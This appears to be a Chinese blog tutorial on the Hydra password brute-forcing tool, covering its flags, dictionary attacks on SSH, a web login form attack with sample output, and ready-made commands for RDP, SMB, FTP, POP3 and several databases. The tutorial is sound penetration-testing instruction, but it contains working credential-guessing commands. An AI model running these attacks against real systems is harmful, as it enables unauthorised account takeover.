Hydra网络登录密码爆破工具使用

Hydra 使用教程

一、参数

-l 指定用户名

-p 指定密码

-L 指定用户名字典

-P 指定密码字典

-C 指定所用格式为“user:password”的字典文件

-e

  • n null,表示尝试空密码
  • s same,把用户名本身当做密码进行尝试
  • r 反向,把用户名倒叙,当做密码进行尝试。

-o 保存执行结果

-vV 显示执行细节

-s 指定非默认端口

-M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”

-t 指定爆破时的任务数量(默认16)

二、简单使用

1)在kali中打开终端,直接输入hydra,可以看到hydra的版本、参数、以及可以爆破的协议。

image1

从图中圈起来的地方可以看到,hydra可以爆破 http、ftp、mysql等多种协议。

三、爆破SSH

我们拿爆破SSH协议来举个栗子。

-l参数指定用户名,-p参数指定密码,后面直接跟目标的IP地址和协议。

hydra -l root -p 12345678 192.168.31.173 ssh

成功的话,会把账号和密码高亮显示出来。

image2

也可以使用另外一种格式:

hydra -l root -p 12345678 ssh://192.168.31.173

执行的结果都是一样的。

image3

这里主要简单介绍一下用法,我知道我的SSH密码,所以就直接指定密码了。

但很多时候,我们是不知道密码的,所以就要使用密码字典来爆破。

四、使用字典爆破

小写的-p是指定密码,大写的-P是指定字典文件。

hydra -l root -P 密码字典 192.168.31.173 ssh

1)我们先准备一个简单的密码字典,创建一个pwd.txt文件,在里面输入几个简单的密码:

image4

2)然后指定这个密码字典:

hydra -l root -P pwd.txt 192.168.31.173 ssh

可以看到爆破成功了,但只给了一个结果:

image5

3)如果想看爆破的过程,可以加上-vV参数,显示执行细节:

hydra -l root -P pwd.txt 192.168.31.173 ssh-vV

我们的密码字典中有三个密码,它也会执行三次,并把执行过程列了出来。

image6

4)上面的密码字典使用的是相对路径,我们也可以把它换成绝对路径:

hydra -l root -P /root/pwd.txt 192.168.31.173 ssh

image7

SSH协议的默认用户是 root,所以上面我们都是指定的用户名,如果不确定用户名,就要指定用户名字典,比如下面这种格式:

hydra -L /root/usr.txt -P /root/pwd.txt 192.168.31.173 ssh

爆破其他协议服务时,把协议名和默认用户名换一下就可以了。

六、爆破登录页

先确定目标是通过post还是get传输登录的凭据,比如get传输有以下选项:<url>:<form parameters>:<condition string>[:<optional>[:<optional>]

案例:

user@machine$ hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f 
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. 

Hydra (http://www.thc.org/thc-hydra) starting at 2021-10-13 08:06:22 
[DATA] max 16 tasks per 1 server, overall 16 tasks, 500 login tries (l:1/p:500), ~32 tries per task 
[DATA] attacking http-get-form://10.10.x.x:80//login-get/index.php:username=^USER^&password=^PASS^:S=logout.php 
[80][http-get-form] host: 10.10.x.x   login: admin password: xxxxxx 
1 of 1 target successfully completed, 1 valid password found 
Hydra (http://www.thc.org/thc-hydra) 
finished at 2021-10-13 08:06:45

PS:参数解释

  • -l admin 指定单个用户名,使用-L 为用户名词表
  • -P 指定词表的完整路径,您可以通过使用-p 指定单个密码.
  • 10.10.x.x 目标的主机 IP 地址或完全限定域名(FQDN)。
  • HTTP 请求类型,可以是 http-get-form 或 http-post-form,然后指定 URL、路径和条件,它们通过冒号分隔:
    • 目标网站服务器的登录页面路径为 login-get/index.php。
    • 用户名和密码的参数为 username=^USER^&password=^PASS^,通过注入^USER^进行暴力破解用户名,^PASS^用于从指定的字典中暴力破解密码。
  • 通过指定 F=失败条件 来消除失败响应, S=成功条件 来获取成功响应,比如失败页面存在 'Invalid password',那就设置 F=Invalid password
  • -f 在找到有效用户名和密码后停止暴力破解攻击

字典

pop3爆破密码的文件为:fasttrack.txt

常用字典:rockyou.txt

Hydra爆破常见服务

远程桌面(RDP) hydra -l administrator -P 密码字典 192.168.31.173 rdp
共享文件(SMB) hydra -l administrator -P 密码字典 192.168.31.173 smb
文件传输(FTP) hydra -l 用户名 -P 密码字典 192.168.31.173 ftp
邮箱协议(POP3) hydra -l 用户名 -P 密码字典 192.168.31.173 pop3
MSSQL数据库 hydra -l sa -P 密码字典 192.168.31.173 mssql
MySQL数据库 hydra -l 用户名 -P 密码字典 192.168.31.173 mysql
Oracle数据库 hydra -l 用户名 -P 密码字典 192.168.31.173 oracle
Redis数据库 hydra -l 用户名 -P 密码字典 192.168.31.173 redis
PgSQL数据库 hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql

补充:hydra自带的密码本在/usr/share/hydra/passwords.txt

image8

posted @ 2025-12-04 16:29  shinianyunyan  阅读(0)  评论(0)    收藏  举报